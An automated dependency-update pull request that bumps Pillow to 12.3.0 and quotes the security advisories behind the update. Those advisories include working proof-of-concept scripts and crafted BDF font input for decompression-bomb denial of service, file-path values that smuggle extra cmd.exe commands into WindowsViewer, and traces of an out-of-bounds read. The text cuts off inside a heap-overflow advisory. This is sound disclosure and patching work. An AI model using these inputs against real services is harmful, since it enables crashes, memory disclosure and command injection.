renovate-bot opened a new pull request, #6909:
URL: https://github.com/apache/texera/pull/6909

   > ℹ️ **Note**
   > 
   > This PR body was truncated due to platform limits.
   
   This PR contains the following updates:
   
   | Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/) | 
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
   |---|---|---|---|
   | [pillow](https://redirect.github.com/python-pillow/Pillow) 
([changelog](https://redirect.github.com/python-pillow/Pillow/releases)) | 
`==12.2.0` → `==12.3.0` | 
![age](https://developer.mend.io/api/mc/badges/age/pypi/pillow/12.3.0?slim=true)
 | 
![confidence](https://developer.mend.io/api/mc/badges/confidence/pypi/pillow/12.2.0/12.3.0?slim=true)
 |
   
   ---
   
   > [!WARNING]
   > Some dependencies could not be looked up. Check the Dependency Dashboard 
for more information.
   
   ---
   
   ### Pillow `BdfFontFile`: `Image.new()` called without 
`_decompression_bomb_check()` — bomb protection bypass via font loading
   BIT-pillow-2026-55379 / 
[CVE-2026-55379](https://nvd.nist.gov/vuln/detail/CVE-2026-55379) / 
[GHSA-45hq-cxwh-f6vc](https://redirect.github.com/advisories/GHSA-45hq-cxwh-f6vc)
 / PYSEC-2026-2255
   
   <details>
   <summary>More information</summary>
   
   #### Details
   ##### Summary
   `PIL/BdfFontFile.py` `bdf_char()` (lines 84–88) reads the `BBX width height` 
field from a BDF font file and passes the dimensions directly to `Image.new()` 
without calling `Image._decompression_bomb_check()`. This completely bypasses 
Pillow's documented decompression bomb protection.
   
   `Image.open()` enforces `MAX_IMAGE_PIXELS = 89,478,485` and raises 
`DecompressionBombError` for images exceeding `2 × MAX = 178,956,970` pixels. 
The BDF font loading path calls `Image.new()` directly, which only calls 
`_check_size()` (validates `>= 0`) — no pixel count limit.
   
   **Vulnerable code (`PIL/BdfFontFile.py` lines 84–88):**
   ```python
   
   ##### width, height from attacker-controlled "BBX width height x y" line
   try:
       im = Image.frombytes("1", (width, height), bitmap, "hex", "1")
   except ValueError:
       # TRIGGERED when BITMAP section is empty (zero hex lines)
       im = Image.new("1", (width, height))   # ← NO 
_decompression_bomb_check()!
       # ^ This image is stored in self.glyph[ch] — persists in memory
   ```
   
   **Attack trigger:** A BDF glyph with `BBX 20000 20000` and an empty `BITMAP` 
section causes `Image.frombytes()` to raise `ValueError`, then `Image.new("1", 
(20000, 20000))` allocates **50 MB** of C-heap silently. Image.open() would 
raise `DecompressionBombError` for the same dimensions.
   
   ##### Steps to reproduce
   
   **Minimal malicious BDF file (270 bytes):**
   ```
   STARTFONT 2.1
   SIZE 16 75 75
   FONTBOUNDINGBOX 16 16 0 -4
   STARTPROPERTIES 1
   COMMENT placeholder
   ENDPROPERTIES
   CHARS 1
   STARTCHAR A
   ENCODING 65
   SWIDTH 500 0
   DWIDTH 8 0
   BBX 20000 20000 0 0
   BITMAP
   ENDCHAR
   ENDFONT
   ```
   
   **Proof of Concept script:**
   ```python
   
   #!/usr/bin/env python3
   """PoC: BdfFontFile bomb bypass — 270-byte BDF → 50 MB allocation"""
   import io, warnings
   warnings.filterwarnings("ignore")
   
   from PIL.BdfFontFile import BdfFontFile
   from PIL.Image import _decompression_bomb_check, DecompressionBombWarning, 
DecompressionBombError
   
   W, H = 20000, 20000   # 400M pixels → above DecompressionBombError threshold
   
   ##### Show what Image.open() would do
   warnings.filterwarnings("error", category=DecompressionBombWarning)
   try:
       _decompression_bomb_check((W, H))
   except (DecompressionBombWarning, DecompressionBombError) as e:
       print(f"[Image.open() path] BLOCKED by {type(e).__name__}")
   warnings.filterwarnings("ignore")
   
   ##### Malicious BDF: large BBX + empty BITMAP → ValueError → Image.new() 
without bomb check
   bdf = f"""STARTFONT 2.1
   SIZE 16 75 75
   FONTBOUNDINGBOX 16 16 0 -4
   STARTPROPERTIES 1
   COMMENT x
   ENDPROPERTIES
   CHARS 1
   STARTCHAR A
   ENCODING 65
   SWIDTH 500 0
   DWIDTH 8 0
   BBX {W} {H} 0 0
   BITMAP
   ENDCHAR
   ENDFONT
   """.encode()
   
   print(f"[*] BDF file size  : {len(bdf)} bytes")
   print(f"[*] Glyph size     : {W} x {H} = {W*H:,} pixels")
   print(f"[*] C-heap target  : {W*H//8//1024**2} MB  (mode '1' = 1 bit/pixel)")
   
   BdfFontFile(io.BytesIO(bdf))   # No exception — bomb check bypassed!
   
   print(f"[!] CONFIRMED: BdfFontFile loaded silently — {W*H//8//1024**2} MB 
allocated")
   print(f"    Image.open() path would have raised DecompressionBombError")
   ```
   
   **Expected output:**
   ```
   [Image.open() path] BLOCKED by DecompressionBombError
   [*] BDF file size  : 270 bytes
   [*] Glyph size     : 20000 x 20000 = 400,000,000 pixels
   [*] C-heap target  : 47 MB  (mode '1' = 1 bit/pixel)
   [!] CONFIRMED: BdfFontFile loaded silently — 47 MB allocated
       Image.open() path would have raised DecompressionBombError
   ```
   
   **Amplified attack (multiple glyphs):**  
   A BDF file defining 256 glyphs each at `BBX 8000 8000` causes `256 × 7.6 MB 
= ~1.95 GB` total C-heap allocation — all silently, bypassing documented bomb 
protection.
   
   ##### Impact
   - **Availability**: HIGH — attacker-controlled memory allocation per glyph × 
up to 65,536 glyphs
   - **Confidentiality**: None  
   - **Integrity**: None
   - Any service loading BDF fonts from untrusted sources (e.g., 
`ImageFont.load("user.bdf")`, `BdfFontFile(fp)`) is affected
   - Loaded glyph images persist in `self.glyph[ch]` for the lifetime of the 
font object — memory is NOT freed until the font is garbage collected
   
   #### Severity
   - CVSS Score: 7.5 / 10 (High)
   - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`
   
   #### References
   - 
[https://github.com/python-pillow/Pillow/security/advisories/GHSA-45hq-cxwh-f6vc](https://redirect.github.com/python-pillow/Pillow/security/advisories/GHSA-45hq-cxwh-f6vc)
   - 
[https://nvd.nist.gov/vuln/detail/CVE-2026-55379](https://nvd.nist.gov/vuln/detail/CVE-2026-55379)
   - 
[https://github.com/python-pillow/Pillow/commit/0a263e6264aa5399988d9acd3bbfbca2ca3ec77d](https://redirect.github.com/python-pillow/Pillow/commit/0a263e6264aa5399988d9acd3bbfbca2ca3ec77d)
   - 
[https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-2255.yaml](https://redirect.github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-2255.yaml)
   - 
[https://github.com/python-pillow/Pillow](https://redirect.github.com/python-pillow/Pillow)
   - 
[https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst](https://redirect.github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst)
   
   This data is provided by 
[OSV](https://osv.dev/vulnerability/GHSA-45hq-cxwh-f6vc) and the [GitHub 
Advisory Database](https://redirect.github.com/github/advisory-database) 
([CC-BY 
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
   </details>
   
   ---
   
   ### Pillow: WindowsViewer.get_command() OS command injection via unescaped 
shell path
   BIT-pillow-2026-55798 / 
[CVE-2026-55798](https://nvd.nist.gov/vuln/detail/CVE-2026-55798) / 
[GHSA-4x4j-2g7c-83w6](https://redirect.github.com/advisories/GHSA-4x4j-2g7c-83w6)
 / PYSEC-2026-2257
   
   <details>
   <summary>More information</summary>
   
   #### Details
   ##### 1. Summary
   
   `WindowsViewer.get_command()` constructs a `cmd.exe` shell command by 
directly embedding a
   file path into an f-string without escaping. The result is passed to
   `subprocess.Popen(..., shell=True)`. Shell metacharacters in the file path — 
most
   importantly a double-quote (`"`) that breaks out of the wrapping, followed 
by `&` — allow
   injection of arbitrary `cmd.exe` commands.
   
   The macOS equivalent (`MacViewer`) correctly applies `shlex.quote()` to the 
same parameter.
   The Linux equivalent (`UnixViewer`) does likewise. Windows is the only 
platform missing this
   protection, despite `shlex.quote` being **already imported** on line 21 of 
`ImageShow.py`.
   
   ---
   
   ##### 2. Vulnerable Code
   
   **File:** `src/PIL/ImageShow.py`, lines 133–150
   
   ```python
   class WindowsViewer(Viewer):
       format = "PNG"
       options = {"compress_level": 1, "save_all": True}
   
       def get_command(self, file: str, **options: Any) -> str:
           return (
               f'start "Pillow" /WAIT "{file}" '    # ← f-string, no escaping
               "&& ping -n 4 127.0.0.1 >NUL "
               f'&& del /f "{file}"'                # ← same path, unescaped 
again
           )
   
       def show_file(self, path: str, **options: Any) -> int:
           if not os.path.exists(path):
               raise FileNotFoundError
           subprocess.Popen(
               self.get_command(path, **options),
               shell=True,                          # ← shell=True
               creationflags=getattr(subprocess, "CREATE_NO_WINDOW"),
           )  # nosec                               # ← Bandit warning 
suppressed manually
           return 1
   ```
   
   **Contrast with macOS — SAFE (line 164–168):**
   ```python
   class MacViewer(Viewer):
       def get_command(self, file: str, **options: Any) -> str:
           command = "open -a Preview.app"
           command = f"({command} {quote(file)}; sleep 20; rm -f 
{quote(file)})&"
           return command                           # ← shlex.quote() applied
   ```
   
   **Cross-platform summary:**
   
   | Platform | Class          | `shlex.quote()`? | `shell=True`? | Safe? |
   |----------|----------------|------------------|---------------|-------|
   | macOS    | `MacViewer`    | **Yes** (line 168) | No (list args) | ✅ Yes |
   | Linux    | `UnixViewer`   | **Yes** (line 207) | No (list args) | ✅ Yes |
   | Windows  | `WindowsViewer`| **No** (line 134–137) | **Yes** (line 148) | ❌ 
No |
   
   `shlex.quote` is imported on line 21. Its omission from the Windows path is 
a clear
   oversight, not a deliberate design choice.
   
   ---
   
   ##### 3. Proof of Concept
   
   A full working PoC is at `poc_pillow_injection.py`. Key parts:
   
   **Part A — Injection string construction (static, no execution):**
   ```python
   from PIL.ImageShow import WindowsViewer
   
   viewer = WindowsViewer()
   evil_path = r'C:\Temp\evil" & echo PWNED & echo "'
   cmd = viewer.get_command(evil_path)
   print(cmd)
   
   ##### Output:
   ##### start "Pillow" /WAIT "C:\Temp\evil" & echo PWNED & echo "" && ping ...
   
   ##### ┌─ start "Pillow" /WAIT "C:\Temp\evil"   → fails (file not found)
   ##### ├─ & echo PWNED                           → INJECTED COMMAND
   
   ##### └─ & echo ""  && ping ...                → continues
   ```
   
   **Part B — Live execution via `os.system()` (verified on Windows 11, Pillow 
12.1.1):**
   ```python
   import os, tempfile
   from PIL.ImageShow import WindowsViewer
   
   viewer = WindowsViewer()
   poc_dir = tempfile.mkdtemp()
   marker  = os.path.join(poc_dir, "INJECTION_CONFIRMED.txt")
   
   ##### Craft injection: payload writes a marker file (harmless)
   payload   = f'echo REAL_INJECTED > "{marker}"'
   evil_path = os.path.join(poc_dir, f'poc" & {payload} & echo "')
   
   ##### Call the REAL Pillow get_command():
   real_cmd = viewer.get_command(evil_path)
   
   ##### Execute the same way the base Viewer.show_file() does (os.system):
   os.system(real_cmd)
   
   assert os.path.exists(marker)                          # PASSES — marker was 
created
   assert "REAL_INJECTED" in open(marker).read()          # PASSES
   
   ##### → CONFIRMED: arbitrary command injection via get_command()
   ```
   
   ---
   
   #### Severity
   - CVSS Score: 4.5 / 10 (Medium)
   - Vector String: `CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L`
   
   #### References
   - 
[https://github.com/python-pillow/Pillow/security/advisories/GHSA-4x4j-2g7c-83w6](https://redirect.github.com/python-pillow/Pillow/security/advisories/GHSA-4x4j-2g7c-83w6)
   - 
[https://nvd.nist.gov/vuln/detail/CVE-2026-55798](https://nvd.nist.gov/vuln/detail/CVE-2026-55798)
   - 
[https://github.com/python-pillow/Pillow/commit/8404ea5fe5df40fc34aa1e51403dd6fce0778b8a](https://redirect.github.com/python-pillow/Pillow/commit/8404ea5fe5df40fc34aa1e51403dd6fce0778b8a)
   - 
[https://github.com/python-pillow/Pillow/commit/88194166691b7b603529b8b036ab3ab9cedd2de4](https://redirect.github.com/python-pillow/Pillow/commit/88194166691b7b603529b8b036ab3ab9cedd2de4)
   - 
[https://github.com/python-pillow/Pillow/commit/b0e06caa64c1405aa3da0bb1d2bd9a77ca22de7f](https://redirect.github.com/python-pillow/Pillow/commit/b0e06caa64c1405aa3da0bb1d2bd9a77ca22de7f)
   - 
[https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-2257.yaml](https://redirect.github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-2257.yaml)
   - 
[https://github.com/python-pillow/Pillow](https://redirect.github.com/python-pillow/Pillow)
   - 
[https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst](https://redirect.github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst)
   
   This data is provided by 
[OSV](https://osv.dev/vulnerability/GHSA-4x4j-2g7c-83w6) and the [GitHub 
Advisory Database](https://redirect.github.com/github/advisory-database) 
([CC-BY 
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
   </details>
   
   ---
   
   ### Pillow: `FontFile.compile()`: `Image.new()` called without 
`_decompression_bomb_check()`
   BIT-pillow-2026-54060 / 
[CVE-2026-54060](https://nvd.nist.gov/vuln/detail/CVE-2026-54060) / 
[GHSA-5x94-69rx-g8h2](https://redirect.github.com/advisories/GHSA-5x94-69rx-g8h2)
 / PYSEC-2026-2254
   
   <details>
   <summary>More information</summary>
   
   #### Details
   ##### Description
   
   `PIL/FontFile.py` `FontFile.compile()` assembles per-glyph images into a 
single combined bitmap using `Image.new("1", (xsize, ysize))` without calling 
`Image._decompression_bomb_check()`. This is the base-class method shared by 
both `BdfFontFile` and `PcfFontFile`, and it is triggered whenever a loaded 
font is converted to an `ImageFont` or saved.
   
   Neither `BdfFontFile.BdfFontFile(fp)` nor `PcfFontFile.PcfFontFile(fp)` is 
registered with `Image.register_open()`, so Pillow's standard decompression 
bomb guard never fires for font objects. The compile step is the final 
opportunity to check the combined allocation — and it has no check.
   
   **Vulnerable code (`PIL/FontFile.py` lines ~64–92):**
   
   ```python
   def compile(self) -> None:
       if self.bitmap:
           return
   
       h = w = maxwidth = 0
       lines = 1
       for glyph in self.glyph:              # up to 256 glyph slots
           if glyph:
               d, dst, src, im = glyph
               h = max(h, src[3] - src[1])   # max glyph height — 
attacker-controlled
               w = w + (src[2] - src[0])
               if w > WIDTH:                  # WIDTH = 800
                   lines += 1
                   w = src[2] - src[0]
               maxwidth = max(maxwidth, w)
   
       xsize = maxwidth                       # ≤ 800 (capped by WIDTH constant)
       ysize = lines * h                      # ← lines(256) × h(65535) = 
16,776,960
   
       if xsize == 0 and ysize == 0:
           return
   
       self.ysize = h
       # NO _decompression_bomb_check() here ←
       self.bitmap = Image.new("1", (xsize, ysize))   # ← unchecked allocation
   ```
   
   **"Slow accumulation" attack — per-glyph dimensions stay BELOW warning 
threshold:**
   
   | Metric | Per-glyph (800 × 875) | Combined bitmap (256 glyphs) |
   |---|---|---|
   | Pixel count | 700,000 | **179,200,000** |
   | DecompressionBombWarning threshold (89.4M) | 0.008× — **no warning** | 
2.0× — above warning |
   | DecompressionBombError threshold (178.9M) | 0.004× — **no error** | 
**1.001× — above error** |
   
   With PCF-maximum glyph height (65,535):
   
   | Metric | Value |
   |---|---|
   | lines | 256 (one per glyph slot, width=800 forces a wrap every glyph) |
   | h (max glyph height) | 65,535 |
   | xsize | 800 |
   | ysize = lines × h | 256 × 65,535 = **16,776,960** |
   | **Total pixels** | 800 × 16,776,960 = **13,421,568,000** |
   | **Ratio vs. DecompressionBombError threshold** | **75×** |
   | Memory (mode "1", 1 bit/pixel) | **~1.6 GB** |
   
   ##### Steps to reproduce
   
   **Proof of Concept script:**
   
   ```python
   
   #!/usr/bin/env python3
   """
   PoC: FontFile.compile() bomb bypass
   256 glyphs at 800x875 each (individually below warning threshold)
   → compile() creates 800x224000 = 179.2M px bitmap with NO bomb check
   """
   from PIL import FontFile, Image
   
   MAX_GLYPHS = 256
   GLYPH_W    = 800
   GLYPH_H    = 875     # individual: 700K px — below 89.4M warning threshold
   
   class MockFont(FontFile.FontFile):
       def __init__(self):
           super().__init__()
           # Each glyph is individually safe (700K px < 89.4M warning)
           im = Image.new("1", (GLYPH_W, GLYPH_H))
           for i in range(MAX_GLYPHS):
               self.glyph[i] = (
                   (GLYPH_W, GLYPH_H),
                   (0, -GLYPH_H, GLYPH_W, 0),
                   (0, 0,        GLYPH_W, GLYPH_H),
                   im,
               )
   
   ##### Confirm bomb check WOULD catch the combined size
   combined_size = (GLYPH_W, MAX_GLYPHS * GLYPH_H)
   try:
       Image._decompression_bomb_check(combined_size)
       print("[FAIL] bomb check did not raise — unexpected")
   except Image.DecompressionBombError as e:
       print(f"[OK] bomb check WOULD block {combined_size}: {e}")
   
   ##### Vulnerable path: compile() has NO bomb check
   font = MockFont()
   font.compile()   # → Image.new("1", (800, 224000)) — no error raised
   
   px = font.bitmap.size[0] * font.bitmap.size[1]
   threshold = Image.MAX_IMAGE_PIXELS * 2
   print(f"[BYPASS] compile() succeeded: bitmap={font.bitmap.size}")
   print(f"         pixels={px:,}  ({px/threshold:.3f}× DecompressionBombError 
threshold)")
   print(f"         No DecompressionBombError raised at any point.")
   ```
   
   **Expected output:**
   ```
   [OK] bomb check WOULD block (800, 224000): Image size (179200000 pixels) 
exceeds limit
   of 178956970 pixels, could be decompression bomb DOS attack.
   [BYPASS] compile() succeeded: bitmap=(800, 224000)
            pixels=179,200,000  (1.001× DecompressionBombError threshold)
            No DecompressionBombError raised at any point.
   ```
   
   **Verified live on Pillow 12.2.0 — compile() succeeds with no exception.**
   
   **Real-world trigger using BDF font file:**
   ```python
   from PIL import BdfFontFile
   import io
   
   ##### Load a crafted BDF font with 256 glyphs each claiming height=65535
   
   ##### (each glyph individually: 800 × 65535 = 52.4M px — below 89.4M warning)
   ##### compile() combined: 800 × 16,776,960 = 13.4B px — 75× error threshold
   font = BdfFontFile.BdfFontFile(open("crafted_256glyph.bdf", "rb"))
   font.to_imagefont()   # → compile() → ~1.6 GB allocation, NO bomb check
   ```
   
   **Attack scenarios:**
   
   | Scenario | Effect |
   |---|---|
   | Web font preview (`BdfFontFile(upload).to_imagefont()`) | DoS with crafted 
.bdf upload |
   | Server-side font renderer that loads PCF → `to_imagefont()` | OOM crash |
   | Font pipeline: load → render text | One malicious font file kills the 
process |
   
   ##### Impact
   
   - **Availability:** HIGH — `compile()` creates a combined bitmap whose pixel 
count scales as `WIDTH × lines × max_glyph_height` with no upper bound check. 
With max PCF glyph height (65,535) and 256 glyphs, the combined allocation is 
~1.6 GB. With BDF (text-format, unbounded height), the allocation is limited 
only by system memory.
   - **Confidentiality:** None
   - **Integrity:** None
   
   **Affected call paths:**
   - `BdfFontFile.BdfFontFile(fp).to_imagefont()` → `FontFile.compile()`
   - `BdfFontFile.BdfFontFile(fp).save(filename)` → `FontFile.compile()`
   - `PcfFontFile.PcfFontFile(fp).to_imagefont()` → `FontFile.compile()`
   - `PcfFontFile.PcfFontFile(fp).save(filename)` → `FontFile.compile()`
   
   Neither `BdfFontFile` nor `PcfFontFile` is loaded via `Image.open()`, so the 
standard decompression bomb guard is **entirely absent** from the font loading 
code path. `compile()` is the only point where the combined allocation size is 
known, and it has no check.
   
   Confirmed unpatched on `python-pillow/Pillow` `main` branch as of 2026-06-08.
   
   #### Severity
   - CVSS Score: 7.5 / 10 (High)
   - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`
   
   #### References
   - 
[https://github.com/python-pillow/Pillow/security/advisories/GHSA-5x94-69rx-g8h2](https://redirect.github.com/python-pillow/Pillow/security/advisories/GHSA-5x94-69rx-g8h2)
   - 
[https://nvd.nist.gov/vuln/detail/CVE-2026-54060](https://nvd.nist.gov/vuln/detail/CVE-2026-54060)
   - 
[https://github.com/python-pillow/Pillow/commit/0a263e6264aa5399988d9acd3bbfbca2ca3ec77d](https://redirect.github.com/python-pillow/Pillow/commit/0a263e6264aa5399988d9acd3bbfbca2ca3ec77d)
   - 
[https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-2254.yaml](https://redirect.github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-2254.yaml)
   - 
[https://github.com/python-pillow/Pillow](https://redirect.github.com/python-pillow/Pillow)
   - 
[https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst](https://redirect.github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst)
   
   This data is provided by 
[OSV](https://osv.dev/vulnerability/GHSA-5x94-69rx-g8h2) and the [GitHub 
Advisory Database](https://redirect.github.com/github/advisory-database) 
([CC-BY 
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
   </details>
   
   ---
   
   ### Pillow: Out-of-bounds read via attacker-controlled row stride on 
Pillow's mmap path (McIdas AREA files)
   BIT-pillow-2026-54058 / 
[CVE-2026-54058](https://nvd.nist.gov/vuln/detail/CVE-2026-54058) / 
[GHSA-62p4-gmf7-7g93](https://redirect.github.com/advisories/GHSA-62p4-gmf7-7g93)
 / PYSEC-2026-3493
   
   <details>
   <summary>More information</summary>
   
   #### Details
   ##### Summary
   
   When Pillow loads an uncompressed image whose tile uses the `raw` codec and 
a mode in `Image._MAPMODES`, and the image was opened **from a filename**, it 
memory-maps the file and builds the image's row pointers directly into the 
mapping via `PyImaging_MapBuffer` (`src/map.c`). The per-row spacing (`stride`) 
is taken from the tile arguments. `map.c` validates `offset + ysize*stride <= 
buffer_len` but **never checks that `stride` is at least the natural row width 
`xsize * pixelsize`**.
   
   The **McIdas** AREA plugin (`McIdasImagePlugin.py`) derives `stride`, 
`offset`, `xsize`, and `ysize` directly from attacker-controlled 32-bit header 
words with no validation. By supplying a `stride` far smaller than the row 
width, an attacker makes each row pointer read `xsize*pixelsize` bytes that run 
past the mapped region. Accessing the pixels (e.g. `Image.tobytes()`,
   `getpixel`, `convert`, `save`) then reads adjacent process memory 
(information disclosure) or faults (SIGBUS, denial of service).
   
   ##### Complete Code Trace
   
   **Step 1: `McIdasImageFile._open`** - turns attacker header words into image 
size, file offset, and row stride with no validation.
   
   ```python
   
   ##### src/PIL/McIdasImagePlugin.py:41-70
   s = self.fp.read(256)
   if not _accept(s) or len(s) != 256:        # _accept: prefix == 
b"\x00\x00\x00\x00\x00\x00\x00\x04"
       raise SyntaxError(...)
   self.area_descriptor = w = [0, *struct.unpack("!64i", s)]   # w[1..64] = 
signed BE int32, ALL attacker-controlled
   
   if w[11] == 1:
       mode = rawmode = "L"                    # pixelsize 1, in _MAPMODES
   elif w[11] == 2:
       mode = rawmode = "I;16B"                # pixelsize 2, in _MAPMODES
   ...
   self._mode = mode
   self._size = w[10], w[9]                    # (xsize, ysize)  <-- attacker
   offset = w[34] + w[15]                       # <-- attacker
   stride = w[15] + w[10] * w[11] * w[14]       # <-- attacker (set w[14]=0, 
w[15]=1 => stride=1)
   self.tile = [
       ImageFile._Tile("raw", (0, 0) + self.size, offset, (rawmode, stride, 1))
   ]
   ```
   
   **Step 2: `ImageFile.load` (mmap branch)** - selects mmap and delegates to 
`map_buffer`.
   
   ```python
   
   ##### src/PIL/ImageFile.py:322-348
   if use_mmap:                                 # use_mmap = self.filename and 
len(self.tile) == 1
       decoder_name, extents, offset, args = self.tile[0]
       if (decoder_name == "raw" and isinstance(args, tuple) and len(args) >= 3
               and args[0] == self.mode and args[0] in Image._MAPMODES):
           if offset < 0:                       # only lower-bound guard on 
offset
               raise ValueError("Tile offset cannot be negative")
           with open(self.filename) as fp:
               self.map = mmap.mmap(fp.fileno(), 0, access=mmap.ACCESS_READ)
           if offset + self.size[1] * args[1] > self.map.size():   # == offset 
+ ysize*stride; NO stride>=linesize check
               raise OSError("buffer is not large enough")
           self.im = Image.core.map_buffer(
               self.map, self.size, decoder_name, offset, args      # args = 
("L", stride, 1)
           )
   ```
   
   **Step 3: `PyImaging_MapBuffer`** - builds row pointers at `stride` spacing 
into the mmap; validates everything except `stride >= row width`.
   
   ```c
   /* src/map.c:65-140 */
   if (!PyArg_ParseTuple(args, "O(ii)sn(sii)",
           &target, &xsize, &ysize, &codec, &offset, &mode_name, &stride, 
&ystep))
       return NULL;
   ...
   const ModeID mode = findModeID(mode_name);          /* "L" */
   
   if (stride <= 0) {                                  /* attacker sets 
stride=1 (>0) -> NOT recomputed */
       if (mode == IMAGING_MODE_L || mode == IMAGING_MODE_P) stride = xsize;
       else if (isModeI16(mode)) stride = xsize * 2;
       else stride = xsize * 4;
   }
   
   if (stride > 0 && ysize > PY_SSIZE_T_MAX / stride) {/* overflow guard only */
       PyErr_SetString(PyExc_MemoryError, "Integer overflow in ysize"); return 
NULL;
   }
   size = (Py_ssize_t)ysize * stride;                  /* = 1*1 = 1 */
   
   if (offset > PY_SSIZE_T_MAX - size) { ... }
   ...
   if (offset + size > view.len) {                     /* 1 + 1 = 2 <= 256 -> 
PASSES */
       PyErr_SetString(PyExc_ValueError, "buffer is not large enough");
       PyBuffer_Release(&view); return NULL;
   }
   
   im = ImagingNewPrologueSubtype(mode, xsize, ysize, 
sizeof(ImagingBufferInstance));
   /* im->linesize = xsize * pixelsize = 200000  (the REAL per-row read width) 
*/
   
   /* setup file pointers -- NO check that stride >= im->linesize */
   if (ystep > 0) {
       for (y = 0; y < ysize; y++) {
           im->image[y] = (char *)view.buf + offset + y * stride;   /* row 
points into mmap, spacing=1 */
       }
   } else { ... }
   ```
   
   `im->linesize` (the number of bytes any consumer reads per row) is `xsize * 
pixelsize = 200000`, but the row pointers are only `stride = 1` byte apart and 
the buffer is only `offset + ysize*stride = 2` bytes "claimed". Nothing 
reconciles the two.
   
   **Step 4: pixel access (`Image.tobytes()` → raw encoder `copy1`)** - reads 
`linesize` bytes from `im->image[0]`, i.e. `xsize` bytes starting at `view.buf 
+ offset`, running far past the mmap.
   
   ```c
   /* the raw "L" packer copies linesize (=xsize) bytes per row from 
im->image[y];
      for row 0 that is view.buf+1 .. view.buf+1+200000, vs a 256-byte file. */
   ```
   
   ##### Chain Summary
   
   ```
   SOURCE: McIdas AREA header words w[9],w[10],w[11],w[14],w[15],w[34]  
(Image.open on a path)
     ↓ McIdasImagePlugin._open: stride = w[15]+w[10]*w[11]*w[14]  -> attacker 
sets stride=1   [McIdasImagePlugin.py:66]
     ↓ tile = ("raw", (0,0,xsize,1), offset, ("L", 1, 1))                       
              [McIdasImagePlugin.py:68]
   GADGET: ImageFile.load mmap branch -- only checks offset+ysize*stride<=len  
<- BUG: no stride>=linesize check  [ImageFile.py:343]
     ↓ core.map_buffer(map, (xsize,1), "raw", offset, ("L",1,1))                
              [ImageFile.py:346]
   SINK: PyImaging_MapBuffer: im->image[0] = view.buf + offset + 0*stride; 
linesize=xsize   [map.c:134]
     ↓ Image.tobytes() raw "L" encoder reads linesize (=xsize) bytes from 
im->image[0]
   IMPACT: reads xsize bytes from a tiny mmap -> OOB read of adjacent process 
memory (leak) or SIGBUS (DoS)
   ```
   
   ##### Proof of Concept
   
   See attached 
[poc.zip](https://redirect.github.com/user-attachments/files/28460498/poc.zip)
   
   ##### Impact on a Parent Application
   
   Any application that opens image files supplied by users **from a path on 
disk** (the common pattern: save upload to a temp file, then 
`Image.open(path)`), has the default plugin set (McIdas is registered by 
default), and subsequently reads/returns/re-encodes the decoded pixels 
(thumbnailing, format conversion, serving a preview), is exposed:
   
   - **Information disclosure (High):** the decoded "image" contains bytes of 
the   worker process's adjacent heap/mapped memory, which the app then serves 
or stores - potentially leaking secrets, credentials, or other users' data.
   - **Denial of service (High):** a larger `xsize` reliably crashes the worker 
with SIGBUS.
   
   ##### Suggested fix
   Core fix in `src/map.c` (`PyImaging_MapBuffer`): reject `offset < 0` and 
`stride < im->linesize`. Defense-in-depth in `McIdasImagePlugin._open`: reject 
`offset < 0` or `stride < xsize*pixelsize` .
   
   #### Severity
   - CVSS Score: 8.3 / 10 (High)
   - Vector String: 
`CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:H/SC:N/SI:N/SA:N`
   
   #### References
   - 
[https://github.com/python-pillow/Pillow/security/advisories/GHSA-62p4-gmf7-7g93](https://redirect.github.com/python-pillow/Pillow/security/advisories/GHSA-62p4-gmf7-7g93)
   - 
[https://nvd.nist.gov/vuln/detail/CVE-2026-54058](https://nvd.nist.gov/vuln/detail/CVE-2026-54058)
   - 
[https://github.com/python-pillow/Pillow/pull/9719](https://redirect.github.com/python-pillow/Pillow/pull/9719)
   - 
[https://github.com/python-pillow/Pillow/commit/6a8de891fb00968e5ea79bfa84368ed90b3cfc1d](https://redirect.github.com/python-pillow/Pillow/commit/6a8de891fb00968e5ea79bfa84368ed90b3cfc1d)
   - 
[https://github.com/python-pillow/Pillow](https://redirect.github.com/python-pillow/Pillow)
   - 
[https://github.com/python-pillow/Pillow/releases/tag/12.3.0](https://redirect.github.com/python-pillow/Pillow/releases/tag/12.3.0)
   
   This data is provided by 
[OSV](https://osv.dev/vulnerability/GHSA-62p4-gmf7-7g93) and the [GitHub 
Advisory Database](https://redirect.github.com/github/advisory-database) 
([CC-BY 
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
   </details>
   
   ---
   
   ### Pillow: Heap out-of-bounds write `Image.paste()` / `Image.crop()` via 
signed coordinate overflow
   BIT-pillow-2026-59199 / 
[CVE-2026-59199](https://nvd.nist.gov/vuln/detail/CVE-2026-59199) / 
[GHSA-6r8x-57c9-28j4](https://redirect.github.com/advisories/GHSA-6r8x-57c9-28j4)
 / PYSEC-2026-3451
   
   <details>
   <summary>More information</summary>
   
   #### Details
   ##### Summary
   
   Pillow's public image coordinate APIs can trigger a native heap out-of-bounds
   write when given coordinates near the signed 32-bit integer limits. In 4-byte
   pixel modes such as `RGBA`, this becomes a controlled backward heap 
underwrite:
   for a source image of width `W`, Pillow writes `4 * W` attacker-controlled 
bytes
   starting `4 * W` bytes before the destination row pointer. With successful 
large
